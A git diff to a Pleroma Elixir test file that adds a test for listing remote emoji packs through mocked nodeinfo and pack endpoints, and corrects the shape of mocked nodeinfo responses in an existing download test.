diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs
index c5a553692..93a507a01 100644
--- a/test/web/pleroma_api/emoji_api_controller_test.exs
+++ b/test/web/pleroma_api/emoji_api_controller_test.exs
@@ -33,6 +33,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
refute pack["pack"]["can-download"]
end
+ test "listing remote packs" do
+ admin = insert(:user, info: %{is_admin: true})
+ conn = build_conn() |> assign(:user, admin)
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ mock(fn
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
+
+ %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} ->
+ json(resp)
+ end)
+
+ assert conn
+ |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"})
+ |> json_response(200) == resp
+ end
+
test "downloading a shared pack from download_shared" do
conn = build_conn()
@@ -55,13 +77,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
mock(fn
%{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
- json([%{href: "https://old-instance/nodeinfo/2.1.json"}])
+ json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})
%{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: []}})
%{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
- json([%{href: "https://example.com/nodeinfo/2.1.json"}])
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: ["shareable_emoji_packs"]}})